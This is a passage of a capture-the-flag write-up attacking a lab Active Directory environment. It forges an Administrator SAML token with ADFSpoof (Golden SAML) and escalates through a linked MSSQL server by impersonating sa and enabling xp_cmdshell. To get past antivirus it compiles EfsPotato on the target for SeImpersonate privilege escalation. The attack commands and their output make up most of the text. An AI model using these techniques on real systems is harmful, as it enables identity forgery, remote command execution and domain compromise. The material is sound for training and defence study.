2BPC9BdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAyNi0wOS0yNFQxMzoxNzozOS4xMjJaIj48QXV0aG5Db250ZXh0PjxBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvQXV0aG5Db250ZXh0Q2xhc3NSZWY%2BPC9BdXRobkNvbnRleHQ%2BPC9BdXRoblN0YXRlbWVudD48L0Fzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg%3D%3D
This value is simply a base64 XML encoded SAML Assertion, decoding it we get the following.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_f71be7ef-7574-4b12-9b7b-5acd1d0e922f" Version="2.0" IssueInstant="2026-09-24T13:18:03.575Z" Destination="https://core.ghost.htb:8443/adfs/saml/postResponse" Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" InResponseTo="_6b4d9948dcd9518067bab9b42a83c33b83ab4466">
<Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">http://federation.ghost.htb/adfs/services/trust</Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<Assertion xmlns="urn:oasis:names:tc:SAML:2.0:assertion" ID="_c849c497-c68d-47a6-9259-cc2ab5b149e2" IssueInstant="2026-09-24T13:18:03.450Z" Version="2.0">
<Issuer>http://federation.ghost.htb/adfs/services/trust</Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#_c849c497-c68d-47a6-9259-cc2ab5b149e2">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>LoVh6nINTjNlUwsARqkd4sPE0bGhp1uiS20RHiMzZG0=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>HDfTx/e9L9kObxcDsTCXKpUWqaJQfeTDLaKZz1kIKq3dsXtMxeCHLYd4+PLqutss9oDX6adgiiGQDL2oFMu2VUDosH3CuehYhwyzw04FWjJJkL0OaznGcllKk58NXL3uRJ54qitWB1y8KMUjxJcB1TioHUFiCAcgJih4qR8noSbm+MqDYR/qBZ/PB8qeb++xuFMCNtlzJfXcTwrKA/cAudVVCEj14drARwUQcrtlZbRvWgDvnCPb5ZULLeaiP7y6QDacJ/wwORXvfplU2JgyPyCKi8uLT4saumHb7LXNQqojEVkUC8ZWwjMZm632NyXCk6qB/9xjWciTSAs2owgPF7D3YawbY+tOy42Sdj2yVkBdNqpCQOaE3nVX1U7gmH924SPWINypJ+zlB318N7Bbq8c/ZK3jHK2yhZrtfMrwuorTWoD/hGsI2Mh3kHXn6LtPRmeKPNgr7PpHpoMOHI87G5plFHkYUDLgE/8gCtN1RVOL9cuZm4/jBTaahX+WZbcxLDFsm96uShU6DTVDLvQP2XlgC5EKmhiqa6mnCCux3ptQ6t1Q7U9tVW2gSzU0r4SZx45dXkhAomaxnW1S+eoDHQ6jw2PMgGU9A5GVREGy3+c8LK93Y5d5veXo97954Y22ku6wYVL6B0raPKBFJZK16hp2hHnm6wnDGiM0ABc3fkQ=</ds:SignatureValue>
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>MIIE5jCCAs6gAwIBAgIQJFcWwMybRa5O4+WO5tWoGTANBgkqhkiG9w0BAQsFADAuMSwwKgYDVQQDEyNBREZTIFNpZ25pbmcgLSBmZWRlcmF0aW9uLmdob3N0Lmh0YjAgFw0yNDA2MTgxNjE3MTBaGA8yMTA0MDUzMDE2MTcxMFowLjEsMCoGA1UEAxMjQURGUyBTaWduaW5nIC0gZmVkZXJhdGlvbi5naG9zdC5odGIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC+AAOIfEqtlYcn153L1BvGQgDyXTnYwTRzsK59+zE1zgGKO9N5nb8Fk+daKpWLQaiH7oDHaenw/QaxBg5qdeDYmD3oz8KyaA1ygYBrzm4wW7Ff87rK9Fe5J5/h6W9g749h5BIqPQOp0l6s1rfumOccN4ybW95EWNL0vuQXvC+KQ4D4gMXu8mCGpxtvIL8ilNtJuIG3ORYSKhRal0yyJeOhG4xglrZJF18p9whnE6omggmA6n2shDk/tvTYjii5e7/icWTKkrsMCpaKUNk7mxdMZhQab7SmfKrZN4pRD7dVg5zzIyD7UzS9CHLC6xNzq/Z0huaOaJhOSdJSgat/bsG8nbx19HD/+ypW9J2LtNFugdWtmUBWDOQBYVhB8Sg4VEGgP9jyItHH2bzsDfjRdJ8E1uNJWP/kQA1+wYlOddLqU3b0IsCvlA8EvYW0T1Rsu77o4x/w0gWb0oQPEIz7z973b496wqQt3DnyfeO3lXXfZNcvaj5KCP2TtGB+KshF9pkIPxq7F2gMh7QjxjRHsA29V8jFo9gLD7kPVicaIUdsgiFHnYQF14a52JtR1V5iN+h95JkuuEqQWDBHAvPEBBZkEZH+5yT+aCFXXX+BpPt3QGjYLeJU8CFsMtn8QVLYvLdcVRsUnRh/WHiXwJOOEVECa9w7/yVnhalCNBx1E/l4KQIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQAWYKZW3cDCBO6dT3yfl3Ocuyp1LVKVI+9pFx/bbWpWjSdh6b39LTxxD7FYUthuWPZ3rF4G+FdMFHHCx3YpEmUFnELKsXqhZ989AX58I/3mbfUlKWeIPLSLkp+eRZoMJkt7k1/KXtDasOQn0NsgYEowLBImMCMu9uujnCmFOwHP/IBhgYQMHh46BzSXWP3i8VXbrRtDpo/c//OFJhGmnnF8ZPmi4xtzfSDBpVKqwVLp78CguMxjQd+bdUb45588ZJ4CLsPdRQp30WJ1/CNIaenvJWtA2G5IZw5U0EWCJLoYJWFs9iyOa1/y55ruW6J8lIGD0wmoEeCl9CH1Ed4dzUdUXf1MBCYP3X92iaxzUE0upGd/1Qo6HTyyOlWuAwrkT2VHELKVZKOg8+dly97gyZIfUtQwIkPwNl8vo04cfj+hzOvBzPKAAYh14NLgveAI/DqMnO0OKO+w1HBKw64NBCn8goazF+PuFfUO0yNHFL4kxMpcap6iev6g3BXCSDwfqTUOEuEs7q9oYKgq2qnNVOTIhhInMXBzEm6iP13jfuOoXJdPAnEUXn4y5ywA97rtbGnZEPyx1f1EkX/hbqBP4vogv9kltaUEEVXkS+hPpxZmexCNrBD1q7GJ/50ebYlC0Cev8w6Ms8tM0OrvppGYlWrtPwevEvfiRkwBLG7EMAnLSw==</ds:X509Certificate>
</ds:X509Data>
</KeyInfo>
</ds:Signature>
<Subject>
<SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<SubjectConfirmationData InResponseTo="_6b4d9948dcd9518067bab9b42a83c33b83ab4466" NotOnOrAfter="2026-09-24T13:23:03.575Z" Recipient="https://core.ghost.htb:8443/adfs/saml/postResponse"/>
</SubjectConfirmation>
</Subject>
<Conditions NotBefore="2026-09-24T13:18:03.419Z" NotOnOrAfter="2026-09-24T14:18:03.419Z">
<AudienceRestriction>
<Audience>https://core.ghost.htb:8443</Audience>
</AudienceRestriction>
</Conditions>
<AttributeStatement>
<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn">
<AttributeValue>justin.bradley@ghost.htb</AttributeValue>
</Attribute>
<Attribute Name="http://schemas.xmlsoap.org/claims/CommonName">
<AttributeValue>justin.bradley</AttributeValue>
</Attribute>
</AttributeStatement>
<AuthnStatement AuthnInstant="2026-09-24T13:17:39.122Z">
<AuthnContext>
<AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</AuthnContextClassRef>
</AuthnContext>
</AuthnStatement>
</Assertion>
</samlp:Response>
This SAML Assertion is used to authenticate to core.ghost.htb through credentials on the ghost.htb domain via the federation.ghost.htb issuer. We can use all this information we’ve gathered to conduct a GoldenSAML.
1
2
3
4
5
6
7
8
9
10
11
12
PS /home/w1ld/ALPHA/ghost/ADFSpoof> uv run --python 3.11 --script ./ADFSpoof.py -b ../EncryptedPfx.bin ../dkmKey.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName --nameid 'ghost.htb/Administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
___ ____ ___________ ____
/ | / __ \/ ____/ ___/____ ____ ____ / __/
/ /| | / / / / /_ \__ \/ __ \/ __ \/ __ \/ /_
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/
/_/ |_/_____/_/ /____/ .___/\____/\____/_/
/_/
A tool to for AD FS security tokens
Created by @doughsec
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfT1VUMU4zIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNi0wOS0yNFQxMzoyODowNi4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vY29yZS5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfU1dOVzUzIiBJc3N1ZUluc3RhbnQ9IjIwMjYtMDktMjRUMTM6Mjg6MDYuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9jb3JlLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjX1NXTlc1MyI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPm95ZFI5V09TUlI1WlkvbTBIRHozdFhESGxKRFQvZ3R4RGlGLzEzZGIzdG89PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPmVpc25MYmpCSmxRV09mVWkzLzEvbTlUYUxibk1LUm1rZzl4YWw2YXowaHRVcTI2UzRCRzNmU2RHTXhmWGQzTEkwRVlvOTdDMGQxNU93UHE2VWgzZnNGdUxqR2t0dXoreWk1SEVibzA4Vi9UQ2tnOURSNkdHeVJSaEd0L2xLS29UcHhXN2R0SjJuUzFDcTY1a0dEMXdwRHh1OFJhNW13bGxXc1pJNnFhcXN1YmxJZE1JQTkza2pvUjFWamlVSzZiQWRtMERubXl1ZmFJcGNiYmVIT3NySThCNEV3WUJPZEU1dTBtUU83eWEwVkp4SFpVTURKdllCZktPWGluZDZmMENNa1FKZktzaThjUkwwdVdOcGxsNUZ1ZUlnZ0V3bXoyaXVHUkFwUDNaYjlVUnlFaEducFFZRUZjZkQyZ3kydnBHQ0dha1NBQWwya2FwaHlvVXZGRnd0amVDaEU0Ti90cHEzSXR5Z0NCclNkaW5QWW13RG5KZ0E1YklzUXVBOEtReXJSaDRUMmdJK0hEdkNrODE4Q0QwcU5BUzVzelVBM1RNbnI3NUF3RWx2WmZSeURTbFVRemFRUE4wWlRJMkgrdUZLWjR5TEZreVZKVmh0M2U1U1Z3RTBZN3NKbVl2ZDQ0WnozamMrTEl6ZUtxaUtBOG9ZeDZwREpWNm9CbEo0VnF2Z0VWbTN5VmIxL3A1ajFLMERvQzRITEZkRktCQmx6T1g4Y0hiSTBIeWlXQXdDM3YvL0gyemhHQjB2aEFDR09aSFc0cklNUmtBOU5mWGQ1UHQyZXdtcHVMeDdqTUZESEtMOXhzR21yQ1lUbWp6ZUVkL0FVSnFpZk5qQnk2NUtSWkkxWHlNRWxhUUY2a2VQeHdmY2tQTVlPMDE4bDl5RFZaUUZuMDRKK3pXTHBBPTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OldpbmRvd3NEb21haW5RdWFsaWZpZWROYW1lIj5naG9zdC5odGIvQWRtaW5pc3RyYXRvcjwvTmFtZUlEPjxTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPFN1YmplY3RDb25maXJtYXRpb25EYXRhIE5vdE9uT3JBZnRlcj0iMjAyNi0wOS0yNFQxMzozMzowNi4wMDBaIiBSZWNpcGllbnQ9Imh0dHBzOi8vY29yZS5naG9zdC5odGI6ODQ0My9hZGZzL3NhbWwvcG9zdFJlc3BvbnNlIi8%2BPC9TdWJqZWN0Q29uZmlybWF0aW9uPjwvU3ViamVjdD48Q29uZGl0aW9ucyBOb3RCZWZvcmU9IjIwMjYtMDktMjRUMTM6Mjg6MDYuMDAwWiIgTm90T25PckFmdGVyPSIyMDI2LTA5LTI0VDE0OjI4OjA2LjAwMFoiPjxBdWRpZW5jZVJlc3RyaWN0aW9uPjxBdWRpZW5jZT5odHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDM8L0F1ZGllbmNlPjwvQXVkaWVuY2VSZXN0cmljdGlvbj48L0NvbmRpdGlvbnM%2BPEF0dHJpYnV0ZVN0YXRlbWVudD48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3VwbiI%2BPEF0dHJpYnV0ZVZhbHVlPkFkbWluaXN0cmF0b3JAZ2hvc3QuaHRiPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL2NsYWltcy9Db21tb25OYW1lIj48QXR0cmlidXRlVmFsdWU%2BQWRtaW5pc3RyYXRvcjwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%2BPC9BdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAyNi0wOS0yNFQxMzoyODowNS41MDBaIiBTZXNzaW9uSW5kZXg9Il9TV05XNTMiPjxBdXRobkNvbnRleHQ%2BPEF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9BdXRobkNvbnRleHRDbGFzc1JlZj48L0F1dGhuQ29udGV4dD48L0F1dGhuU3RhdGVtZW50PjwvQXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B
If we now send another postResponse request using this SAMLResponse we should get an Administrator account on the core.ghost.htb service.
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 24 Sep 2026 13:29:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 46
Connection: keep-alive
X-Powered-By: Express
Location: /
Vary: Accept
Set-Cookie: connect.sid=s%3AySBN7i0Lnesfo6jeGdSu3ZncPcP7eDja.2khmA64xus9tp4N6vLupydpl%2Bd9kfNcvRhi%2Bq9xyJfU; Path=/; HttpOnly
<p>Found. Redirecting to <a href="/">/</a></p>
We get a connect.sid cookie, if we replace our connect.sid cookie with this one and go back to the index page we’re greated by a Ghost Config Panel

We find mentions of a linked database from the ghost.htb domain where we’re at to the corp.ghost.htb domain. We can enumerate the forest trust with our current domain access.
1
2
3
4
PS /home/w1ld/ALPHA/ghost/ADFSpoof> bloodyAD -H dc01.ghost.htb -d ghost.htb -k get trusts
[!] No reachable server found for DC=corp,DC=ghost,DC=htb, try to provide one manually in --host
ghost.htb
+-- <WITHIN_FOREST|AD>:corp.ghost.htb
So we have a parent-child trust in the ghost.htb forest. Let’s enumerate the linked databases
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
select srvname from master..sysservers;
{
"recordsets": [
[
{
"srvname": "DC01"
},
{
"srvname": "PRIMARY"
}
]
],
"recordset": [
{
"srvname": "DC01"
},
{
"srvname": "PRIMARY"
}
],
"output": {},
"rowsAffected": [
2
]
}
We find DC01 and PRIMARY, we already know that DC01 is in the ghost.htb domain, doing a search for the PRIMARY$ service we’re unable to find it which means it’s probably in the corp.ghost.htb domain. I’ve already attempted several MSSQL attacks on the DC01 service so let’s try to execute some queries in the PRIMARY linked database.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
EXECUTE('select @@version') AT [PRIMARY]
{
"recordsets": [
[
{
"": "Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) \n\tOct 8 2022 05:58:25 \n\tCopyright (C) 2022 Microsoft Corporation\n\tExpress Edition (64-bit) on Windows Server 2022 Datacenter 10.0 (Build 20348: ) (Hypervisor)\n"
}
]
],
"recordset": [
{
"": "Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) \n\tOct 8 2022 05:58:25 \n\tCopyright (C) 2022 Microsoft Corporation\n\tExpress Edition (64-bit) on Windows Server 2022 Datacenter 10.0 (Build 20348: ) (Hypervisor)\n"
}
],
"output": {},
"rowsAffected": [
1
]
}
After a bit of testing we’re able to impersonate the sa user on the PRIMARY server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
EXECUTE('EXECUTE AS LOGIN = ''sa''; SELECT SYSTEM_USER') AT [PRIMARY]
{
"recordsets": [
[
{
"": "sa"
}
]
],
"recordset": [
{
"": "sa"
}
],
"output": {},
"rowsAffected": [
1
]
}
I’ll enable xp_cmdshell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''show_advanced_options'',1;reconfigure;EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell whoami') AT [PRIMARY]
{
"recordsets": [
[
{
"output": "nt service\\mssqlserver"
},
{
"output": null
}
]
],
"recordset": [
{
"output": "nt service\\mssqlserver"
},
{
"output": null
}
],
"output": {},
"rowsAffected": [
2
]
}
We’ve successfully gotten remote command execution as nt service/mssqlserver on PRIMARY.
Taking a look around mssql has the SeImpersonatePrivilege enabled.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
PS C:\w1ld> whoami /all
USER INFORMATION
----------------
User Name SID
====================== ===============================================================
nt service\mssqlserver S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label S-1-16-12288
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT SERVICE\ALL SERVICES Well-known group S-1-5-80-0 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
Crucially however it seems there’s an antivirus running and we’re not able to disable it.
1
2
3
4
5
6
7
8
9
10
PS C:\w1ld> ./mimikatz.exe
Program 'mimikatz.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ ./mimikatz.exe
+ ~~~~~~~~~~~~~~.
At line:1 char:1
+ ./mimikatz.exe
+ ~~~~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
We can attempt to bypass this, assuming it’s static detection, by compiling on the host itself, one of the SeImpersonate exploits that allows us to do this is the EfsPotato. Let’s try it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\w1ld> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
Microsoft (R) Visual C# Compiler version 4.8.4161.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.
This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240
PS C:\w1ld> ls
Directory: C:\w1ld
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/24/2026 7:30 AM 25441 EfsPotato.cs
-a---- 9/24/2026 7:33 AM 17920 EfsPotato.exe
Let’s now run the compiled binary.
1
2
3
4
5
6
7
8
9
10
11
12
PS C:\w1ld> .\EfsPotato.exe whoami lsarpc
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
